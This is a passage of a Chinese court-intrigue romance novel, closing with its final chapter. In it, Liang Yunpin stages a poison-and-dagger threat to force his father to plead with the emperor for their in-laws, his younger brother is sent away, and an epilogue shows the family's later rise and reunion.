梁蕴品气横在胸,索性一挥衣摆,“砰”地一声重重跪倒在地。
“蕴品所言,字字发自内心,不曾有半句妄言。”
“你——”
“难道父亲心中就这般无怨吗?”
梁蕴品瞪着通红的双眼,像只受伤的小兽般痛诉自己的委屈,“官家忌惮梁家不是一日两日之事。当年,天旨未下之时,祖父祖母是怎么去世的,父亲心中难道不曾有过半分怀疑吗?”
“你胡说什么?你——”
“还有我外祖父金戈铁马,战功赫赫,外祖母更是大邹第一女将军!”
梁蕴品眼神里逐渐浮上恨意,“他二人又是因怎样一瓶小小的金创药不治身亡?”
“够了,”梁庭嵊几欲晕厥,“你住嘴——”
“还有舅舅!若不是那一碗御赐的灵药,他怎会——”
“你给我闭嘴!”
梁庭嵊突然拔腿,踉跄着往前迈了数步,一挥手将五个指印重重落在了梁蕴品侧脸。
啪——
“无稽之谈!通通都是无稽之谈!”
梁庭嵊抖着手,连声音都在颤抖,“到底是谁在你耳边嚼官家的舌根?你竟也信了?还拿这些子虚乌有之事到我面前大呼小叫,反了你了!”
他重重喘了口气,“你个无君无父的东西,你给我跪在家祠,在列祖列宗面前悔过!”又道,“没我命令,谁也不许放你出来!”
“父亲!”
梁庭嵊长袍一甩,转身要走,却被梁蕴品叫住了脚。
他略一回头,余光瞧见一个闪着银光的物件自梁蕴品腕袖下徐徐脱出,瞳仁猛地一缩——
那是……匕首!
他仓皇回头,“蕴品!你要做什么?”
梁蕴品握住刀柄,将锋利的刀刃徐徐架到脖子上,目光沉静得叫人恍惚,仿佛方才那些痛诉全然是他棋盘上的废子。
“既然父亲愚忠至此,”他一字一顿,“那儿子便换个方式,同父亲谈判。”
-
屋外,日头渐隐,秋雨纷纷而至。
沙卓领着沙牧,快步行走在梁府大院的羊肠小道上,沙卓手中还捏着一张被折得四四方方的信笺。
二人面无表情埋头赶路,任谁看上去都不像是个送信的,倒像是要赶着去取谁项上人头。
行至假山后方,一处枝叶扶疏的院落出现在二人眼前,沙卓远远瞧着亲自到院门相迎的主子,顿住了脚。
“三少爷。”
沙卓抱拳一推,“属下是大少爷身边的一等府卫沙卓,这位是二少爷身边的沙牧,我二人奉命前来,给您送一封信。”
“我知道我知道,可大哥怎么让你俩过来了?”
梁蕴思听仆奴说梁大有要事相商,要派人给自己送信,还在好奇是什么事能让大哥如此心急火燎,于是干脆出门来迎。
可一见沙卓沙牧,他眼皮忽地一跳,又瞄了眼身旁的沙荆,顿时肃了神色,“快请进,屋里说。”
沙卓颔首是从,尾随梁三一同进入别院,身后缀着不明所以的沙荆和灰头土脸的沙牧。
“大哥二哥怎么都来三少爷这院子了?您二人不得贴身保护大少爷和二少爷么?”
沙荆是四个拜把子兄弟中最小的一个,因合梁三眼缘特意被换了来,同胞孪生兄长沙杨则去了梁四那儿。
闻听此言,沙牧脸色一黑,正要说话,却听沙卓在前头淡淡道,“主子面前也敢胡言乱语,当真是越发没规矩了。”
“……”
沙荆憋红了脸,默默吐了吐舌头,却听梁蕴思在前头哈哈大笑,“无妨无妨,我就喜欢小荆这无拘无束的样子,不像老四那个府卫……叫什么来着?老杨?”
他真情实感地摇了摇头,“那孩子不行,一脸苦瓜相,我让他跟老四对着苦去了,希望他们负负得正,早登极乐。”
“?”
“???”
“………………”
看着三人一脸惶恐的模样,梁蕴思才惊觉自己说了什么惊天地泣鬼神的混账话。
他扯了扯嘴角,皮笑肉不笑地更正道,“早……早,成,大,器?”
沙卓在长廊刹住脚,内心叹了一口长长的气。
他从手中抽出信笺,双手奉于梁蕴思眼前,“三少爷,此处无人,便在此处拆阅大少爷的信吧。小的还要回去复命,便不进内院了。”
“也行。”
梁蕴思满不在乎地接过信笺,三两下拆开一看,登时愣住了。
他不敢置信地读了一遍又一遍,直到沙卓和沙牧一并跪倒在他跟前,拱拳行礼。
“
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大少爷嘱咐属下,若三少爷有任何疑问之事,只管问属下即可。”他道,“二少爷亦将沙牧给了您,从今日起,沙牧会同沙荆一道,护三少爷周全。”
“这,这这这这……”
梁老三抖着那封薄薄的信,面上露出从未有过的惊恐神色,“沙卓兄弟,你要不要自己来看看,大哥同我说了些什么?”
“他竟让我去浪迹江湖!!!”
梁三郎急得跳脚,左手背叠右手心狠狠一砸,再一摊,“你说这像话吗?我梁蕴思好歹是丞相府嫡子,竟被大哥驱逐,还让我去……浪,迹,江,湖?”
沙卓被梁蕴思的一惊一乍吵得脑瓜子嗡嗡作响,微微皱了皱眉头。
“三少爷请冷静些,”他试着规劝,“大少爷绝无逐您出府的意思,也不是让您去浪迹江湖,而是请您——”
他顿了顿,压着嗓子道,“请您替梁家到江湖上搜罗情报,顺便……避一避风头。”
“这有区别吗?”
梁老三震惊未退,却也知道自己的大哥做不出这等混账事。
他强迫自己冷静下来,气在胸腔中顺了三回才发话,“是,我知道家中定是出了大事,否则二哥的腿伤得如此严重,父亲母亲不会一直瞒着大哥,梁府也轮不到我这么个混吃等死的纨绔子来打理。”
“但即便有事,我也没理由出府啊?你听过一首诗么,叫什么——父母在,不远游?”
梁三一锤掌心,“我得替大哥,在府里孝顺父母啊!”
沙卓被梁三的话绕住了,沉眸思虑半晌才犹豫着开口,“三少爷这些日子确实将府中打理得极好,想必大人也是看在眼里,才——”
“不不不,你等会儿,这是重点吗?”
梁蕴思发觉眼前人就是根棒槌,扶额苦笑,“我的意思是,梁家若真要一个儿子出门办事,也不该是我去啊?你信不信,我那二哥坐着轮椅出门,办出来的事也比我妥当千倍,万倍?”
“……”
沙卓听明白了,无奈抬眼,暗示道,“府中将要发生的「大事」,恐牵连甚广,三少爷还是听大少爷的,出去避避风头罢。”
“唔唔唔唔唔,我不去。”
梁蕴思把头摇得像个拨浪鼓,“我向大哥保证,我每日就待在梁府!一不考科举二不扯着心上人满大街溜达,只要梁府不塌,天灾人祸哪个能落到我头上?”
“……”
梁三一番话彻底将沙卓镇住了,他凝着眸注视着眼前傻里傻气的小少爷,脑子转了半晌才反应过来——
三少爷……该不会是不知道天旨的存在吧?
嘶——
他不禁倒吸一口冷气:大人千算万算,恐算漏了此事!
这可如何是好?
大人入家祠已有一炷香的功夫,他答应过大人,要在梁相从家祠出来前说服三少爷,并即刻着手将三少爷秘密护送至大邹西南边境的村庄。
倘若大人劝说梁相事成,梁相冒死觐见却触怒龙颜,那三少爷便是大人留给梁家的唯一血脉——所谓搜罗情报,无非是保人的由头罢了。
但若大人劝说梁相不成……
三少爷便成了大人手中捏着的另一枚筹码。
“父亲铿守正道,若非逼至无可转圜之境,绝不会背叛自己的愚忠。”
梁蕴品在信笺上落款,折好,亲手交到沙卓手中,“所以,我会在家祠中以命相胁。”
“但他若一气之下令府卫将我擒住,后又将我软禁……二弟受伤,四弟心结未愈,能带出府去制挟于他,又不叫我忧心的,唯有三弟了。”
“沙卓,我那天真无邪的三弟,便交给你了。”
……
沙卓忆及此处,无端垂了垂眼:亲父子一场,何至于此。
朝堂世家果真是他无法涉足的临渊之境——忠君难,孝父难,爱子……更难。
“沙兄弟,沙兄弟?沙卓?喂!”
沙卓倏地抬起眼,迎头对上梁蕴思那双不耐烦的眸子,“我问你话呢,大哥到底为何非要把我送出去?真是为了搜罗什么……情报?”
十四岁的少年正当抽枝拔节之时,沙卓瞧着他,只觉光阴如梭,岁月匆匆。
昨年婚宴那个绕着圈儿斗蛐蛐的小顽童,而今已经长成独当一面的少年郎。
他斟酌着开口,“三少爷,您听说过——”
“三弟,还是让二哥来同你说道说道吧。”
一声温润的呼唤截住了沙卓的话头,亦引走了梁蕴思狐疑的目光。
沙卓一顿,登时瞪大双眼,回身看向来时路——只见四名府卫抬着担架向他们走来,担架上还铺着一层厚不见底的被褥。
而那被褥之下,赫然便是断了双腿的梁二少爷——梁蕴识。
“二,哥?”
府卫们抬着梁蕴识,稳稳当当向他们靠近,掠过沙卓时梁蕴识抬了抬手,担架戛然而止。
瞧着一廊子人错愕的模样,梁蕴识先扭头看向不知所措的沙卓,宽厚一笑。
“听闻父亲骤然回府,我便知兄长来不及同三弟道明一切了。”
梁二眉目一转,弯着眼看向舌头打结的梁老三,“辛苦了,诸位。让我来同我弟弟说吧。”
44.44.图穷
“谈判?”
梁庭嵊冷笑一声,几十载朝堂腥风血雨他都屹立不倒,今日又如何能为黄口小儿相胁?
“你先起来,”他瞥了眼刀尖,“有什么话,咱们父子俩可以好好说,不必拿这东西来威胁我。”
“父亲,我不是威胁您。”
梁蕴品纹丝不动,嘴角勾起一抹诡异的笑,“我是在用‘上古四兽’之一的命,来请求官家——”
“放过柳家,放过陆家,把我的岳父岳母还回来。”
梁庭嵊狠狠蹙起眉心,上上下下打量着自己的儿子,陌生得像是头一回认识他。
他沉下脸,满布褶皱的眼角也垂了下来,“蕴品,别耍孩子脾气。”
“你以为你以命相胁,官家就会放过柳家和陆家?”他讥讽一笑,“荒谬!你当官家是什么人?他可是天子!他是能任由一介朝臣摆弄的人么?”
梁蕴品抿了抿唇,不欲与梁庭嵊辩解太多,只兀自将刀尖逼近了些。
“正因官家不把儿子放在眼里,儿子才回来,找父亲相商。”
他直勾勾看着眼前孤傲的长者,终于亮明自己真实的目的,“儿子恳求父亲入宫,向官家动之以情晓之以理,劝说官家,放过梁家!”
“相商?相商???瞧你这副跋扈的模样,哪里是要同我好好商量?”
梁庭嵊气得吹胡子瞪眼,恨不得原地飞起一脚将这忤逆子踹倒在地。
他原地踱了踱步,眼神犀利一撇,直冲梁蕴品面门,“好,你要我入宫同官家说理,那你倒是说说,我以何由头进宫?从何说起?”
梁蕴品早有准备。他不疾不徐道,“父亲大可以陆家夫妇蒙冤被捕,儿媳忧思病重,儿子也跟着一病不起为由,恳求官家为陆家洗清罪名。再强调蕴识已因柳家一门断腿,再生枝节只怕小命不保,劝官家高抬贵手,饶柳家一命。”
“放屁!”
梁庭嵊从未如此上火,急得他破口大骂,“竖子!我真白养了你!”
见梁蕴品梗着脖子抿唇不语,梁庭嵊红脸赤脖,将手一摊,“我问你,柳家之事,官家若咬死是天灾,何人敢驳?陆家贩卖私盐虽不是板上钉钉,但人是杭州府衙扣的,求证乃是提举司的事,官家若是推得一干二净,反倒斥责我徇私越权,我又能如何劝说?”
“那父亲便摆出证据来,叫官家无从否认!”梁蕴品横眉冷对,字字铿锵。
“你有什么——”梁庭嵊住了嘴,脸色倏忽一变,“你有证据?”
“有。”
梁蕴品深深呼出一口气,“柳家失火前,官家赏赐了一名御厨给柳家,没过几日又赏赐了几名女使。柳慕云的贴身仆奴亲眼所见,一名女使将一纸包偷偷摸摸交给御厨,那夜柳家便出了事。”
梁庭嵊呼吸一窒。
“至于陆家,”梁蕴品挑了挑眼,“杭州税银何以能成为大邹之首,杭州知府最为清楚。”
“陆家家大业大,杭州知府与我岳父虽不说有多大交情,素来好歹也是以礼相待的。”梁蕴品道,“何以这次他无凭无证,却冒着撕破脸面的风险也要上门扣人?”
他顿了顿,似暗示又似明示,“即便是父亲的授意,杭州知府也不见得——”
“够了!”
梁庭嵊的脸色已如走马灯般变换了好几轮,“你是要你父亲当面质疑官家,指责官家?”
“若触怒龙颜,我有几条命能活,梁氏九族,又有几个脑袋能掉?”
“父亲息怒,”梁蕴品颔首,“儿子不是要父亲与官家强词夺理。”
他握了握刀柄,眼中决绝之意甚然,“儿子只想请您当面向官家求情,求官家不要再因天旨……伤害咱们的家人。”
“哼,说得轻松。”
梁庭嵊嗤之以鼻,“你到底知不知,官家为何要将陆家和柳家剪除?”
“自然知晓。”梁蕴品叹了口长长的气,“官家还是邰王时,便对祖父,对您,对梁家处处忌惮……”
“于是他登基后先强要了小姨,又将外祖父母从西北大漠调往西南边境,桩桩件件看似拔擢实则皆是打压,更遑论天旨降生,他便有了处置梁家的由头。”
“只是天旨之于梁家,既是掣肘,亦是护身符咒。”
梁蕴品抬起眼,眸中闪烁着复杂的光,“官家要用您,又忌惮您在朝堂上的威信;既不想咱家弟兄好过,又不敢动‘上古四兽’托生之胎。”
“于是他只好将目光投向陆家和柳家……表面同咱们虚与委蛇,暗地里却频频出手,为的无非是两个字——制,衡!”
“……”
梁相垂下眼,高高在上地审视着自己最得意的儿子,神色复杂。
半晌,他不情不愿地开口,“你既什么都知道,又怎会不知,若我真将你所说的证据一一呈圣,官家将如何驳斥于我,责罚于我?”
“他是君王……朝令夕改犯了他的大忌,他绝不会轻易妥协。”
梁蕴品闻言一哂,“那便用旁的事情,逼他妥协。”
“呵,你当如何,要逼宫么?”
梁蕴品无视梁庭嵊的阴阳怪调,只自顾自道,“我方才说了,父亲大可告诉官家,我爱妻心切,突发急病,已有入膏肓之势;而二弟同我一样,因惦记柳家那位却不敢再牵连于他,日渐颓靡,眼看也是不成了。”
“求官家顾念天旨,开恩救人。”
梁相瞧着他,默默嘁了一声,“官家若叫御医来瞧你二人,这谎你如何圆?”
“无需刻意去圆,”梁蕴品吞了吞嗓子,一直强撑着的身子微微发颤,“儿子方才去看了蕴识,同他一齐服下一道秘药。那秘药乃圩宁族民间秘方,服后五个时辰内若无解药,必将全身衰竭而亡。”
“你!”
梁庭嵊瞳仁骤然放大,“你说什么?你说什么!”
“所以,父亲大可放心……”一颗豆大的汗珠自梁蕴品额角滑落,“官家即便是请御医院院判来验,儿子的情况也只会更糟,绝不会叫人识破。”
“你,你疯了吗!蕴品!”
惊恐之意后知后觉涌上梁庭嵊的心头,他像丢了神一般脚步一晃,又死死定在地上,“你真要用自己去换回陆家,还把蕴识也带上?”
他惶然失措地看着眼前陌生的儿子,嘴里不住念叨着,“疯了,你们都疯了!都疯了!”
梁蕴品看着怅然若失的父亲,心头一紧,强自挺直的腰杆终于有了泄力之意。
“父亲,您错了,”他低低道,“我们不是用自己去换陆家和柳家——”
他眼底泛红,“我们是孤注一掷,为爱我与我爱之人,求一个平静安宁的后半生。”
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被梁蕴品“喂了秘药”的梁蕴识,而今正躺在梁蕴思房中的贵妃椅上,挑着薄薄的眼皮盯着自己狂咬手指甲的弟弟。
“官家,官家他竟然如此不分青红皂白……”
梁老三倏一抬头,“明眼人一瞧便知,那天旨根本就是无稽之谈!就我这样的凡人,别说是上古四神兽降生,就算是他们的坐骑,我也不配啊!”
又恍觉自己口不择言,连兄弟也带上了,面色一赧话锋一转,“不过大哥二哥和四弟,确有灵根不假……可咱家兄弟几位再厉害,和四神兽也扯不上关系啊!那天旨一看便知是假的,官家何以如此糊涂?”
“真亦假时,假亦真。”
梁蕴识淡淡笑了笑,语焉不详,“若那天旨处处针对梁家,真想要了梁家的命,官家反而生疑。”
“便是这样一边保着咱们,一边断了梁家的根,官家才笃信不疑。”
梁蕴思叹了口气,“那可如何是好……所以大哥让我出去避避风头,便是因为此事?”
他顿了顿,又觉得脑子转不过弯来,“不对不对,若是
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因着天旨,咱们四兄弟不该被官家派人保护起来么?即便官家没有派人,待在府里才是最安全的,为何大哥还要我山长水远地出门避风头,那不是……以身犯险么?”
“大哥的劝告自有其深意。”
梁蕴识避轻就重,只道,“至于官家的庇护……你当真觉得,通过抹杀咱们周遭所有关系的存在来孤立咱们,算是一种庇护么?”
“柳家失火,陆家老爷和夫人被捕,包括四弟当年被软禁在宫里……你当真觉得,身在汴都便能规避这一切祸事吗?”
“……”
梁蕴思越听越傻眼,他不知陆家也出了事,更从未想过柳家失火与四弟当年一事也能扯上关系,一时有些怔愣。
梁蕴识看着弟弟的模样,心中也生出些许不忍,但他知道许多事情不能再瞒着,即便蕴思还是个半大的孩子,也应当知晓自己同家族面临的困境,以做好自保的准备。
“三弟,你可曾想过,沙荆这孩子,为何会到你身边来?”
梁二引导梁三看向窗外,沙氏三兄弟魁梧的身影透过窗纱若隐若现,却似乎又拨开了梁三心中的一层迷雾。
“我猜测父亲曾同官家斡旋过一番,最终官家妥协,由父亲派高手护咱们周全。”梁蕴识道,“从官家的立场上看,此举可将天旨一事的影响降至最低,也算是守护了大邹的国运。可父亲只是在竭力护着咱们——他希望咱们即便头顶天旨的诅咒,亦不会一生沦为皇权监视下的傀儡。”
“但父亲老了,蕴思,”梁二叹了口气,“他护得住咱们,却护不住咱们所爱之人。”
“你忍心看着你的师长,挚友,爱人……一一离你而去么?”
梁蕴思有些懵,盯着窗外若有所思,看了好一会儿才突然开口,“二哥。”
“您说,是谁这么恨咱们四兄弟,非要弄出这天旨来作践咱们,还想断了……梁家的后?”
梁蕴识看着弟弟的侧脸,轻轻摇了摇头,“幕后之人虽操纵着偌大的棋盘,但依我所见,他并不恨咱们四兄弟。”
“相反,他似乎在想方设法,保全咱们四兄弟的命。”
梁老三倏地扭头看向兄长,水灵灵的桃花眼渐渐睁大,却听梁二道,“他应当同官家一样,忌惮父亲又不得不承认父亲在辅佐朝政上的能耐;想将梁家连根拔起,又不屑于捏造是非构陷父亲,或是谋夺人命引火烧身。”
“于是想了个恶心人的法子,让梁家无根可依。”
梁蕴识一一梳理着那幕后之人的心理,满布胡茬的脸上却瞪着一双明亮的招子,“他算定,一个无后的家族,一家之主便无需因顾全后人而偏私,但家族内‘同气连枝’的那股气,也会因此消散大半。”
“他要的就是这口气……他就是要破了梁家这口,三代朝堂凝聚下来的世家之气!”
梁蕴思听罢浑身一颤,鸡皮疙瘩恨不得掉落一地。
他打着磕巴问,“那,那大哥此番回府,是否有了应对的计策?他现下在家祠,是为了同父亲商量此事吗?”
梁蕴识深吸一口气,将自己从怨愤的情绪中强行抽出,抬眸温和地看向弟弟。
“此事,你便不必过问了,你只需听兄长的话,出去避避风头便可。”
梁蕴思努了努嘴,还想反驳,眼神却不自觉落到梁蕴识双膝之下,那明显塌下一截的空落之处。
他心中实则还有许多不明白的地方——比如,为何是他而不是四弟?再比如,大哥信中让他去搜集情报,他什么都不懂,如何能做好此事?
可这些问题都在看到那双不存在的腿后烟消云散。
他埋头沉思,片刻后终于下定决心,“好,我去便是了。”
他抬起眸子,晶亮的眼神和露出半边虎牙的灿烂笑容映在梁蕴识眼底,“弟弟虽脑内空空,许多事情想不明白……但弟弟笃信,大哥和二哥绝不会害我。”
45.45.成舟【正文完】
家祠中。
梁庭嵊已然在蒲团上坐下,仰面朝着如山般黑压压的一片牌匾,目光浑浊,神情凝重。
梁蕴品仍在不远处跪着,握着刀抵住自己的脖颈,不发一语,可他额角上的汗珠却越来越密,脸色也愈发苍白。
“若一切进展如你所言,官家信了,也为着你二人的命,心一软暂时放过陆家和柳家。”
梁庭嵊突然开口,却似一声绵长的喟叹,“但天子的心病,却无药可治。”
他偏头瞥向梁蕴品,眸中净是无奈,“须知官家动陆家,是为着他们富可敌国的身家;而动柳家,则是为着柳老太傅盘根错节的人脉与无处不在的门生。”
“你和蕴识好眼光啊……给我挑了两家好儿媳,”梁庭嵊讪笑着摇头,不知是自嘲还是自省,“这两家于梁家而言,皆是大大的助益啊!”
梁蕴品抬起袖子,拭去脸上不断下淌的汗珠,竭力撑住自己的身子。
“儿子知道。官家无非是见梁家受天旨约束,生怕咱们心灰意冷满腹怨恨,一不留神便起了贼心。”
他苍白一笑,“以父亲的地位,若真起了谋反之心,那么圈地为营,豢养私兵,甚至串通武官,进宫勤王皆不在话下……也难怪官家忧心忡忡,乃至先下手为强。”
梁庭嵊见儿子大剌剌将“谋反”二字说出,眉间又是一锁,倏忽瞪大眼,堪堪坐直了腰杆,“你,你不会真的——”
“不曾。”
梁蕴品眉睫低垂,“儿子不曾做那僭越之事,父亲放心。”
梁庭嵊松了口气,扪了扪胸口,却听梁蕴品大言不惭道,“儿子凭自己一条命便能将官家的军,何须如此大费周折。”
“你,你个竖子——”
梁相再度破口大骂,“你眼中还有君上与尊长吗?你的诗书都读到哪儿去了?你是不是想气死你父亲!”
梁蕴品微一颔首以示歉意,随后扬起头,目光坚定地看着梁庭嵊。
“父亲方才的顾虑,亦是儿子的顾虑。官家心病一日不除,陆家和柳家,乃至蕴思和蕴行日后的婚姻大事皆会成为他眼中钉肉中刺,得给官家铺个台阶才是。”
他缓缓道出自己的筹谋,“因而儿子在来面见父亲前,已同陆宛和几位大舅哥商量过,他们表示——”
梁蕴品顿了顿,“只要能救出岳父岳母,陆家愿捐出一半身家充盈国库,其余家产悉数变卖。而陆家会举家迁往宣州老家,寻一处大庄子住下,从此归隐田园,不再涉商。”
“而柳家……”梁蕴品眸光一闪,“父亲,蕴识没了一双腿,仕途已然断了,而柳老太傅自火场中幸存,身体亦大不如前。”
“可否请求官家,看在他们二人的面子上……不要再动柳家了。”
梁庭嵊神色晦暗莫名地看着梁蕴品,沉默着不发一语,不知在思忖些什么。
天色渐晚,祠堂中的油灯却越发明亮,吸满了灯油的灯芯直愣愣杵着,为火光送去源源不断的养料,似是梁家先辈那一根根不屈的脊梁。
烛火一跳,映亮了梁庭嵊的眼底。
他叹了口气,忽然自言自语,“若官家还不肯松口……那便唯有搬出贤妃娘娘,来助我一臂之力了……”
梁蕴品已经无法跪稳,他瘫坐下来,喘着粗气怔愣地看向梁庭嵊。
“父亲……”
“贤妃去世,你母亲伤心欲绝,却知晓你身在瘟疫村,生怕你忧思伤身,体力不支,求着我不要将此事告知于你……若你当初染上瘟疫,她怕是也要跟着去了。”
梁蕴品倏忽红了眼底,心绞难言,“儿子,儿子愧对母亲……”
梁庭嵊无视梁蕴品的话,缓缓起身,摇摇欲坠的身子与眼角越发明显的褶皱叫他顷刻间老了十岁。
“罢了,儿女都是债,”他背过身,一步一顿向外走,“若官家始终不肯松口,我便同官家说,忠武侯一门只剩夫人这么个独苗了,若是要了孩子们的命,她当如何苟活?满门忠烈,又将如何在九泉之下同悲?”
他自嘲一哂,“若官家不顾,便也将老夫的命,一并收了去吧。”
“父亲!”
梁蕴品扔下匕首,滚着身子趴伏在地,朝梁庭嵊重重磕下三个头,“孩儿不孝,孩儿不孝,孩儿不孝!”
梁庭嵊行至门槛处,只觉双腿异样沉重,他停住脚,偏过头,用余光打量着儿子的身影,忽然来了一句——
“今日之事,你算计了多久?可曾有陆宛煽风点火之功?”
梁蕴品一愣,又重重磕下几个头,“父亲别怪阿宛!儿子此番前来与父亲交涉,阿宛全然不知!”他急急分辩道,“儿子在陆家出事后才向阿宛坦诚天旨一事,阿宛是被儿子连哄带骗娶来的,他对儿子一片痴心发自肺腑,连陆家被梁家连累也不曾怨怼儿子半分!若他知晓儿子服毒,以命相挟,他……他会宁可与儿子和离,独自处理此事,只求儿子身体无恙!”
“哼。你倒是十分了解他,可他却不见得十分了解你。”
梁相一抬腿,跨了出去,沉沉的尾音回荡在家祠上空——
“为父也直到今日才发现,养了你二十余载,从未真正看清过你的心啊……”
梁蕴品跪在地上,直到梁庭嵊的步伐渐行渐远才抬起头,颤抖着从腰间的香囊中取出一颗红色的药丸,仰头咽了下去。
他缓缓起身,亦步亦趋走向那道刻着家训的牌匾,伸出手抚摸着最后一列顶头的「慎」字。
「慎于行」。
梁蕴品怆然一笑,牌匾挂上当日的场景又在他脑海中浮现。
——“来,蕴品,你来给你的弟弟们念一遍。”
——“是,父亲。端于品,渊于识,勤于思,敏于行!”
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是夜,梁蕴思自东侧门上马,挥鞭怅然离去,身后只跟着沙牧沙荆与数名精挑细选的府卫,不曾与家人拜别。
一盏茶后,梁庭嵊自家祠中走出,随后衮衣绣裳,连夜入宫面见顺和帝,一宿方归。
三日后,陆之垣、祁慧书夫妇自杭州府衙被释,与儿女抱头痛哭,随即低调迁往宣州。江南陆家自此成为说书人口中一段传奇。
梁府内,一名身着红衣的男子奔过九曲十八弯的石桥与漫长得看不到头的青石板路,夺门闯入梁蕴识房中,涕泗横流扑倒在梁二残缺的身子上。
“梁蕴识!你怎么可以不要我!你个没良心的东西……不许你扔下我!我现下便穿了嫁衣,我来嫁你了……我们即日成婚,好不好?”
……
而梁蕴品同陆宛上了马车,相拥踏上了回汝州的路。
-
顺和三十六年,顺和帝李佑显驾崩,太子李裕珩登基,更次年年号为「郅清」。
郅清元年秋,因功绩卓著,新帝钦点汝州知州梁蕴品任从四品大理寺少卿,官阶连擢两级,并赐因病告假已久的右相梁庭嵊正一品「太师」之衔。
朝堂上暗流涌动,朝臣众议纷纭,猜测新帝要重新重用梁家的声音占了上风,但梁相蛰伏三年,吕相与其已成平分秋色之势,且梁家人丁单薄,小辈在婚姻大事上离经叛道,独宠男妻一事,至今仍是整个汴都,乃至整个大邹茶余饭后的“笑话”。
“他们自当笑去,又笑不到我耳中,我管他人作甚?”
梁蕴品下了值,被一心拉着清点库房中码成一摞一摞的红木箱子,眼睛一眯,“一心,你莫不是诓我罢?夫人真叫我来帮忙数箱子?”
他狐疑道,“莫不是该你的活,你却推到了我头上?”
“大人,小的哪儿敢呐!”
一心看着眼前数不尽的箱匣与手中厚厚一叠册子,实在是头昏脑涨,“夫人今日被启蒙的夫子唤了去,临走前特意嘱咐我,要等您回来再好好对一遍单子……他说马上要回汴都了,这府邸也即将易主,若是落下什么便麻烦了。”
梁蕴品了然——陆宛定是知晓一心不善此事,刻意让自己给他把关呢。
“那阿生呢?阿生怎么也不在?”
“阿生护着青姐,给您采药去了……”
一心已经几日未见阿生,正着急上火呢,闻言又多嘟囔了两声,“大人,您的病不是好得差不多了么?近几年都没再犯了,小的还以为您不用喝药了呢……”
梁蕴品一哂,摇摇头,“留在汴都的人至今仍未找到一辉,毒的线索毫无头绪,所幸有阿宛在,又有姬大夫的良药养着,那毒的威力才渐渐弱了下去。”
话音刚落,窗外便出现了熟悉的身
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影。
“嘿,说曹操曹操便到了。”一心也瞧见了陆宛,身后跟着一群仆奴,还有一个走路都走不利索的奶娃娃,嘴角一翘,“小少爷今日定是闯了祸被训狠了!跟在夫人身后怎么闷闷不乐的?要么,让小的去买串冰糖葫芦,回来逗逗他?”
梁蕴品勾着唇,刚想让一心别太溺爱孩子,却见陆宛顿住脚,蹲下身,摸了摸孩子布满泪痕的小脸。
“自欢。”
陆宛柔声一唤,“我知你舍不得夫子和同窗,但你父亲升迁,咱们一家三口和祖父祖母、叔叔婶婶马上就要团圆了,你应当高兴才是。”
“自欢高兴的。”
自欢泪眼汪汪地看着陆宛,嘟着嘴委屈道,“只是一想到,夫子和靳姐姐,齐哥哥,都不能同我回汴都,我的眼泪就,就止不住……”
陆宛看着孩子的模样既心疼又好笑,于是张开双臂抱住了梁自欢,“爹爹知道,爹爹都知道,自欢是个好孩子……来年爹爹巡庄子,再同你回来看看夫子,看看靳姐姐,齐哥哥,好不好?”
“真的么?”
“真的,爹爹什么时候骗过你。”
好不容易安抚好孩子,陆宛让仆奴带他下去休息,一转身便迎面撞上一个厚实的怀抱。
“自欢舍不得汝州?”
梁蕴品低下头,在陆宛额头上落下一吻,“那咱们便不回去了。”
陆宛轻捶梁蕴品的胸,笑道,“官人净说胡话,平日里满口‘惯子如杀子’,实则自己最是溺爱。若不是我拦着,官人给自欢摘星偷月都不在话下。”
梁蕴品一见陆宛笑便觉得通体放松下来,他用鼻尖蹭了蹭陆宛鼻头,腻腻歪歪道,“没办法,我一想到自欢是你身上掉下来的一块肉,便没了为人父亲的威严,只晓得疼爱。”
陆宛低头失笑,仰起脸却换了副认真的神色,“对了,官人此番连升两级回京,父亲又重回高位,新帝是不是……对咱家的戒备心没那么重?”
“难说。”
梁蕴品唇边漾起一抹苦笑,“新帝乃先皇后独子,先皇后家族日渐式微,他在朝堂上的助力也并无多少,因而他想拉拢像父亲这样的权臣,襄助其巩固帝位,亦是情有可原。”
“只是……”梁蕴品有一事不解,“若论起亲疏,七王爷才是梁家正儿八经的血亲。”
新帝难道就如此毫无芥蒂么?
陆宛眨了眨眼,露出一个安抚的神情。
“我不懂朝政,更不懂帝心,只知天旨一日未被证伪,刀剑便一日悬于咱们头顶。”
陆宛近过身,伏在梁蕴品肩头,“此番回京,说不定危机重重,不见得比汝州自在,官人务必处处小心,切莫叫人抓了把柄。”又道,“该嘱咐自欢的话我也嘱咐好了,旁人只道他是咱们捡回来的孩子,不会出错的。”
梁蕴品深深吸了口气,用力拥紧怀中的陆宛,“放心吧,阿宛,我不会叫你担忧,更不会叫你同自欢吃半分苦头的。”
——否则这三年以来,他养在各地的数万兵马有何用?梁蕴思跑遍大江南北,替他织就的一张密不透风的情报网又有何用?
新皇登基,朝局更迭,长久困住梁家的珍珑棋局已呈瓦解之颓势,逼得执棋者不得不先舍一子以自保。
但梁蕴品却已非吴下阿蒙。
他曾是一根被放逐的孤木,在漫长漂流的岁月中遇见了他的锚,从此有了归宿,亦有了软肋。
为着这根软肋,他不惜挖空自己,将自己锻造成一艘能承载家人喜乐的舟,从此大风大浪,他亦敢一往直前,决不回头。
梁蕴品紧紧抱着陆宛,汲取着他身上令人安心的热源,在他沁满荷香的发际落下一吻。
宽大华美的官服被清凉的秋风吹起,袖中隐藏的泛黄信笺,在晚霞的照耀中若隐若现。
——「急报。太史令王仪于先帝驾崩前一月遭歹人灭门,唯亲侄王青松与独女王佩茹不知所终。此事已被有心之人刻意按下,望白狼见信早做定夺。——灰狐」
——「灰狐,来信已知悉,已派沙蛇暗中追寻此二人下落,不日定有收获。
另:盼君速归。十日后家人团聚,不醉不休。——白狼」
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—— 正文完 ——